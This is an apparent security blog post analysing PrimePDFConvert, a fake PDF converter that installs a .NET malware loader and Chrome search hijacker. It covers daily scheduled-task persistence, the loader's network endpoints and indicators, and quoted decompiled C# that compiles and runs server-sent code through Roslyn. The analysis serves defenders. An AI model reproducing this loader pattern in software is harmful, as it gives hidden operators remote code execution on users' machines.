PrimePDFConvert: YAPA (Yet Another PDF Application) That Turns Out to Be a Malware Loader

Earlier this week, while analyzing yet another "free PDF converter" called PrimePDFConvert, I quickly observed behavior that is very similar to PDFSupernova, a browser hijacking malware I wrote about earlier this month.

There are a few key differences in this variant however, most notable is a daily scheduled task, that runs c:\programdata\primepdfconvert.exe that "checks in", and can act as a malicious .NET loader.

The installer displays a clean, modern UI with a loading spinner, progress bars, and a lengthy EULA referencing “browser extensions” and “added search capabilities.” At first glance, it looks like a run-of-the-mill PUP (potentially unwanted program).

But underneath the surface?
It's a modular, remotely controlled malware loader with daily persistence, browser hijacking capabilities, and a Roslyn-powered remote code execution API.

Red Flags

  • Packed by Costura.Fody
  • Full screen focus during install
  • Writes daily persistence
  • Runs API Roslyn calls to load .NET code from remote servers
  • Finds Chrome, performs task kill
  • Overwrites Chrome Web Data file (search hijack points to api.fuzzsearch[.]com)
  • Doesn't install a converter (instead drops desktop shortcut to home.primepdfconvert[.]com)
  • certificate: signature:"Beyond Ideas LLC"
  • Advertiser EVERNETIX TECHNOLOGY LTD
  • The .cab download is really an AES encrypted/GZIP compressed exe that drops in programdata
Full screen focus examples below:




Network Flow from installer

hxxps://api.myprimeconfig.com/api/v1/call (remote code called)

hxxps://reppo.searchsparks.com/api/v1/report
(json response for success and potential data return)

hxxps://api.fuzzsearch.com/api/v1/get_url_lead_prime
hxxps://installmyapps.com/pupdate/zaadf/a/PrimePDFConvert.cab

hxxps://api.kennsearch.com/api/v2/heartbeat
From scheduled task: (json response for success and potential data return)

The below images are snippets of the code being remotely loaded during the install (process reaching out to api.myprimeconfig[.]com is the installer):







Scheduled task


Name: PrimePDFConvertTask
Schedule: <DaysInterval>1</DaysInterval>
Command: C:\ProgramData\PrimePDFConvert\PrimePDFConvert.exe
Arguments: <UID> (this is required to run properly)


The EXE here is initially downloaded as a .cab file (this is fake). There is a section of code running remotely from the api.myprimeconfig[.]com that unpacks this files using an AES key/IV derived from the SHA256 hash of the productID and moduleID, then decompresses it and drops it in ProgramData.

This code was shown in a previous screenshot, using this information, I was able to decrypt this, not really necessary since the file already exists in its decrypted format in ProgramData, but still noteworthy for analysis.



Chrome Profile Hijack

  • Overwrites the file "Web Data" to set all searches to go through api.fuzzsearch[.]com
  • Modifies New Tab to point to cnn.com (likely as an evasion tactic)
  • Replaces keyword table and auto-fill data
  • Tracks UID information

Task Heartbeat Analysis

From c:\programdata\PrimePDFConvert.exe:

private static void SendHeartbeat(string serverUrl, string uid, string installDate)

 
string result2 = result.Content.ReadAsStringAsync().Result;
object obj = (javaScriptSerializer.DeserializeObject(result2) as Dictionary)["data"];
string text = ((obj != null) ? obj.ToString() : null);
if (!string.IsNullOrEmpty(text))
{
Program.Start(text, uid);

Private static async Task Start(string dataValue, string uid)
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(dataValue, null, "", null, default(CancellationToken));

This code suggests that the heartbeat can load and run arbitrary code. When I tried to run c:\programdata\primepdfconvert.exe without a commandline argument, there was not network tarffic.

When running with the proper argument shown in the scheduled task however, we do get a reply.


At this time it appears there is no data to load/execute from the server side. I decided to setup a Fiddler Auto-Response to create a file, and demonstrate this can run code.


As you can see from the response, I can pass arbitrary code through here. Hopefully some more information will come out about these types of Hijackers/Loaders, until then, happy hunting.

Additional Reading


List of related malicious file converters on SecurityMagic-Github

Indicators

Indicator type, name, and value
Indicator Type Name Value
Domain Loader api.myprimeconfig.com/api/v1/call
Domain Loader reppo.searchsparks.com/api/v1/report
Domain Search Hijack api.fuzzsearch.com/api/v1/get_url_lead_prime
Domain Loader installmyapps.com/pupdate/zaadf/a/PrimePDFConvert.cab
Domain Heartbeat/Loader api.kennsearch.com/api/v2/heartbeat
Hash  pdfprimeconvert.exe  4e739ab1e0b0e91dda834a21f410a4c4
Hash  pdfprimeconvert.exe  ef8d55bd4ea5912df47c188c2f3a4790

Comments

Popular posts from this blog

TamperedChef: Suspicious Recipe App is really Malware

EvilAI: Fake Online Speedtest Application

New HydraSeven malware loader found in the wild